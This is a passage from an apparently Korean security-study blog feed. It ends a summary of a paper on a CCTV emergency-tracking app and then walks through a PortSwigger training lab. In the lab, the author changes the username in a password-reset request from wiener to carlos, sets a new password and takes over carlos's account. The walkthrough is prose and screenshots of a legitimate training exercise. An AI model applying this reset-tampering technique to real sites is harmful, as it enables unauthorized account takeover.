data-origin-height=&quot;488&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이동체 촬영 시스템 구상도&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style4&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 26.8605%;&quot;&gt;시스템&lt;/td&gt;
&lt;td style=&quot;width: 73.1395%;&quot;&gt;역할&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 26.8605%;&quot;&gt;중앙서버&lt;/td&gt;
&lt;td style=&quot;width: 73.1395%;&quot;&gt;&lt;span&gt;영상 저장 및 전송, 위치 정보 저장 및 전송, CCTV 위치관리, 스마트 단말기 ID 관리 담당&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 26.8605%;&quot;&gt;영상 저장 및 전송부&lt;/td&gt;
&lt;td style=&quot;width: 73.1395%;&quot;&gt;CCTV 영상 저장기능과 전송기능을 담당&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 26.8605%;&quot;&gt;위치정보저장 및 전송부&lt;/td&gt;
&lt;td style=&quot;width: 73.1395%;&quot;&gt;신고자의 CCTV호출 위치와 시간을 저장하고 위험지역으로 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 26.8605%;&quot;&gt;CCTV 관리부&lt;/td&gt;
&lt;td style=&quot;width: 73.1395%;&quot;&gt;CCTV가 설치된 위치와 촬영이 가능한 범위를 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;과정&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;스마트 단말기의 애플리케이션에서 CCTV 호출을 요청&lt;/li&gt;
&lt;li&gt;CCTV가 호출되고 신고자를 추적촬영&lt;/li&gt;
&lt;li&gt;이때 획득한 영상을 유관기관, 보호자, 신고자에게 전송&lt;/li&gt;
&lt;li&gt;유관 기관은 사건의 장소, 상태, 시간 등을 정확하게 파악하여 조치&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;애플리케이션 기능&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CCTV 호출&lt;/b&gt; : 호출 버튼을 클릭하면 GPS 위성으로부터 위치 정보(위도, 경도, 고도)를 획득하며 위치 정보 저장 서버로 송신하고 CCTV 위치 관리부가 호출한 CCTV의 영상 획득&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주변탐색&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재위치 탐색&lt;/b&gt; : GPS위성으로부터 위치 정보를 1회 획득하고 이를 위치 정보 저장 서버로 송신 -&amp;gt; 수신한 위치 정보 주변 위험 지역 정보 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목적지 탐색&lt;/b&gt; : 신고자의 목적지를 입력받아 위치 정보 저장 서버로 송신 -&amp;gt; 목적지 주변의 위험 지역 정보 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GCM 수신 기능&lt;/b&gt; : 보호자 또는 유관기관에게 신고자의 영상 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.2 시스템 동작&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;위급 상황 발생시&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;신고자는 위급 상황 발생시 어플리케이션의 CCTV 호출 버튼을 눌러 GPS 위치 값을 중앙 서버로 전송&lt;/li&gt;
&lt;li&gt;서버에서 수신한 GPS 위치 값을 위험 지역으로 저장하고 추적 촬영 가능한 CCTV 탐색 후 신고자 위치와 추적 명령 전송&lt;/li&gt;
&lt;li&gt;CCTV 관리자 화면에 경고음을 내어 유관기관 및 관리자가 빠르게 대응하도록 유도&lt;/li&gt;
&lt;li&gt;CCTV는 자신의 감시 위치와 신고자 위치 계산하여 추적 촬영&lt;/li&gt;
&lt;li&gt;추적 촬영한 영상은 서버로 전송 및 저장&lt;/li&gt;
&lt;li&gt;신고자의 보호자로 등록된 단말기로 추적 영상 전송&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;401&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xVXdd/dJMb99Lum4R/voTkKwPFzEX3Xl3bFwIqp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xVXdd/dJMb99Lum4R/voTkKwPFzEX3Xl3bFwIqp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xVXdd/dJMb99Lum4R/voTkKwPFzEX3Xl3bFwIqp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxVXdd%2FdJMb99Lum4R%2FvoTkKwPFzEX3Xl3bFwIqp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;401&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;401&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;논문 선정 이유&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;긴급상황 발생 시 신고자의 GPS를 전송하고 중앙 서버는 위치를 확인하고 촬영이 가능한 CCTV를 선택하여 추적 촬영 명령을 한 후 보호자 및 유관 기관에 해당 CCTV 영상을 전송하여 신속한 대처를 할 수 있게 한다.라는 요약 글을 읽고 흥미가 생겨서 정리하게 되었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;배운점 및 느낀점&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;흥미로운 논문이었다. CCTV가 지금은 많이 설치되어서 조금 더 디벨롭해서 실제로 구현되면 좋을 것 같다. 우선 보안이 정말 중요할 것 같다 최근에 SNS에서 한 사람이 지하철에서 빈 자리를 찾기 위해 사람들의 핸드폰 뭔가를 파악하면서 핸드폰 기종이랑 여러가지를 확인하는 앱을 혼자 개발해서 그걸 사용하는 걸 올렸었다. 그걸 보고 정말 쉽게 개인 정보를 알 수 있겠다고 생각했다. 이 앱도 사용자의 단말기 ID와 더불어 위치 정보까지 자세하게 나올 수 있기에 해킹당하면 정말 위험할 것 같다. 그리고 신고자와 범죄자?가 서로 반대로 가면 어떻게 할건지 궁금하다 영상이 여러개 저장되는 걸까 보통 CCTV가 한대밖에 없을 것 같은데 그럼 어떻게 추적을 할건지 만약 2개라도 하더라도 하나하나 어떻게 분리해서 추적 명령을 할건지 궁금하다.&amp;nbsp;&lt;/p&gt;</description>
      <category>2025-SWLUG/논문 분석</category>
      <author>호랑2D</author>
      <guid isPermaLink="true">https://tigerdemon.tistory.com/209</guid>
      <comments>https://tigerdemon.tistory.com/209#entry209comment</comments>
      <pubDate>Wed, 12 Nov 2025 03:07:33 +0900</pubDate>
    </item>
    <item>
      <title>burp suite로 Authentication vulnerabilities 실습 2</title>
      <link>https://tigerdemon.tistory.com/208</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1762759019790&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Web Application Security, Testing, &amp;amp; Scanning - PortSwigger&quot; data-og-description=&quot;PortSwigger offers tools for web application security, testing, &amp;amp; scanning. Choose from a range of security tools, &amp;amp; identify the very latest vulnerabilities.&quot; data-og-host=&quot;portswigger.net&quot; data-og-source-url=&quot;https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic&quot; data-og-url=&quot;https://portswigger.net&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Web Application Security, Testing, &amp;amp; Scanning - PortSwigger&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;PortSwigger offers tools for web application security, testing, &amp;amp; scanning. Choose from a range of security tools, &amp;amp; identify the very latest vulnerabilities.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;portswigger.net&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 링크로 들어가면 아래와 같은 화면이 뜬다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1173&quot; data-origin-height=&quot;681&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPp0jB/dJMcaap5mxc/8JFOk85pgzu2AJy609w901/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPp0jB/dJMcaap5mxc/8JFOk85pgzu2AJy609w901/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPp0jB/dJMcaap5mxc/8JFOk85pgzu2AJy609w901/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPp0jB%2FdJMcaap5mxc%2F8JFOk85pgzu2AJy609w901%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1173&quot; height=&quot;681&quot; data-origin-width=&quot;1173&quot; data-origin-height=&quot;681&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ACCESS THE LAB을 누르면 아래와 같이 블로그 창이 뜬다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;887&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ubdz0/dJMcaezfRRe/YusCpn4EYZeyFaEm6Tp3R0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ubdz0/dJMcaezfRRe/YusCpn4EYZeyFaEm6Tp3R0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ubdz0/dJMcaezfRRe/YusCpn4EYZeyFaEm6Tp3R0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fubdz0%2FdJMcaezfRRe%2FYusCpn4EYZeyFaEm6Tp3R0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;887&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;887&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;My account로 들어가서 랩 홈에서 보여준 username : wiener / password : peter 을 적어서 보내면 두번째 사진처럼 뜬다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/X76GT/dJMcahQhwBC/lNkagtROmMOnIBBlB5W9U0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/X76GT/dJMcahQhwBC/lNkagtROmMOnIBBlB5W9U0/img.png&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;457&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;32.01&quot; style=&quot;width: 31.6371%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/X76GT/dJMcahQhwBC/lNkagtROmMOnIBBlB5W9U0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FX76GT%2FdJMcahQhwBC%2FlNkagtROmMOnIBBlB5W9U0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;457&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGTThp/dJMcaaXVnyz/EgA1xiIoeLJrBinQTdMbI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGTThp/dJMcaaXVnyz/EgA1xiIoeLJrBinQTdMbI1/img.png&quot; data-origin-width=&quot;933&quot; data-origin-height=&quot;369&quot; data-is-animation=&quot;false&quot; style=&quot;width: 67.2001%;&quot; data-widthpercent=&quot;67.99&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGTThp/dJMcaaXVnyz/EgA1xiIoeLJrBinQTdMbI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGTThp%2FdJMcaaXVnyz%2FEgA1xiIoeLJrBinQTdMbI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;933&quot; height=&quot;369&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Forgot password에 wiener을 보내면 두번째 사진처럼 뜬다. 그리고 Email client 버튼을 누른다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddnRxc/dJMcaaKodz4/uURozMx6X9VWjLeA9rsgE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddnRxc/dJMcaaKodz4/uURozMx6X9VWjLeA9rsgE0/img.png&quot; data-origin-width=&quot;504&quot; data-origin-height=&quot;316&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;39.97&quot; style=&quot;width: 39.5004%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddnRxc/dJMcaaKodz4/uURozMx6X9VWjLeA9rsgE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FddnRxc%2FdJMcaaKodz4%2FuURozMx6X9VWjLeA9rsgE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;504&quot; height=&quot;316&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I9VWN/dJMcaawQ7Tv/X4K4Op4Kb2kBAKJ3MIfU4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I9VWN/dJMcaawQ7Tv/X4K4Op4Kb2kBAKJ3MIfU4K/img.png&quot; data-origin-width=&quot;932&quot; data-origin-height=&quot;389&quot; data-is-animation=&quot;false&quot; style=&quot;width: 59.3368%;&quot; data-widthpercent=&quot;60.03&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I9VWN/dJMcaawQ7Tv/X4K4Op4Kb2kBAKJ3MIfU4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI9VWN%2FdJMcaawQ7Tv%2FX4K4Op4Kb2kBAKJ3MIfU4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;932&quot; height=&quot;389&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 아래 사진과 같이 뜬다. 여기서 Body 부분에 있는 링크로 들어가면 두번째 사진처럼 뜬다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lQK7G/dJMcagX8XaM/BB9xmpHdKdx3KHm04bxQH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lQK7G/dJMcagX8XaM/BB9xmpHdKdx3KHm04bxQH0/img.png&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;692&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.0606%; margin-right: 10px;&quot; data-widthpercent=&quot;51.66&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lQK7G/dJMcagX8XaM/BB9xmpHdKdx3KHm04bxQH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlQK7G%2FdJMcagX8XaM%2FBB9xmpHdKdx3KHm04bxQH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;692&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1WxNV/dJMcaiuS9vF/ncOLbmHrKcWMj2dKukzpuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1WxNV/dJMcaiuS9vF/ncOLbmHrKcWMj2dKukzpuk/img.png&quot; data-origin-width=&quot;565&quot; data-origin-height=&quot;445&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.7766%;&quot; data-widthpercent=&quot;48.34&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1WxNV/dJMcaiuS9vF/ncOLbmHrKcWMj2dKukzpuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1WxNV%2FdJMcaiuS9vF%2FncOLbmHrKcWMj2dKukzpuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;565&quot; height=&quot;445&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 버퍼 스위트로 가서 보면 username에 해당 이름이 있는데 혹시나 싶어서 수정해보았다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;522&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wvmFJ/dJMcab3Bj91/CY89bISyUjDqmMLD4Zq5H0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wvmFJ/dJMcab3Bj91/CY89bISyUjDqmMLD4Zq5H0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wvmFJ/dJMcab3Bj91/CY89bISyUjDqmMLD4Zq5H0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwvmFJ%2FdJMcab3Bj91%2FCY89bISyUjDqmMLD4Zq5H0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1006&quot; height=&quot;522&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;522&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자 도구로 들어가서 wiener을 carlos로 변경하고 비밀번호를 1234로 바꿔보았다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xcY9j/dJMcajHkDuT/QhUTKxskOJAXNec2WI8Vdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xcY9j/dJMcajHkDuT/QhUTKxskOJAXNec2WI8Vdk/img.png&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;366&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.6019%; margin-right: 10px;&quot; data-widthpercent=&quot;50.19&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xcY9j/dJMcajHkDuT/QhUTKxskOJAXNec2WI8Vdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxcY9j%2FdJMcajHkDuT%2FQhUTKxskOJAXNec2WI8Vdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;972&quot; height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nsTRF/dJMcac9hiNP/yKX2kGXkm8VRmFK8SWQPP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nsTRF/dJMcac9hiNP/yKX2kGXkm8VRmFK8SWQPP0/img.png&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;360&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.2353%;&quot; data-widthpercent=&quot;49.81&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nsTRF/dJMcac9hiNP/yKX2kGXkm8VRmFK8SWQPP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnsTRF%2FdJMcac9hiNP%2FyKX2kGXkm8VRmFK8SWQPP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;949&quot; height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고나서 username : carlos / password : 1234 로 로그인을 해봤더니 풀렸다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDKYHR/dJMcadf2LSw/Gaku5Upx39kY4MTUXwOPd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDKYHR/dJMcadf2LSw/Gaku5Upx39kY4MTUXwOPd0/img.png&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;581&quot; data-is-animation=&quot;false&quot; style=&quot;width: 53.2527%; margin-right: 10px;&quot; data-widthpercent=&quot;53.88&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDKYHR/dJMcadf2LSw/Gaku5Upx39kY4MTUXwOPd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDKYHR%2FdJMcadf2LSw%2FGaku5Upx39kY4MTUXwOPd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;978&quot; height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nLN89/dJMcaiuS9wI/jLrYOrVGompuykiKyh8tz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nLN89/dJMcaiuS9wI/jLrYOrVGompuykiKyh8tz1/img.png&quot; data-origin-width=&quot;1134&quot; data-origin-height=&quot;787&quot; data-is-animation=&quot;false&quot; style=&quot;width: 45.5845%;&quot; data-widthpercent=&quot;46.12&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nLN89/dJMcaiuS9wI/jLrYOrVGompuykiKyh8tz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnLN89%2FdJMcaiuS9wI%2FjLrYOrVGompuykiKyh8tz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; 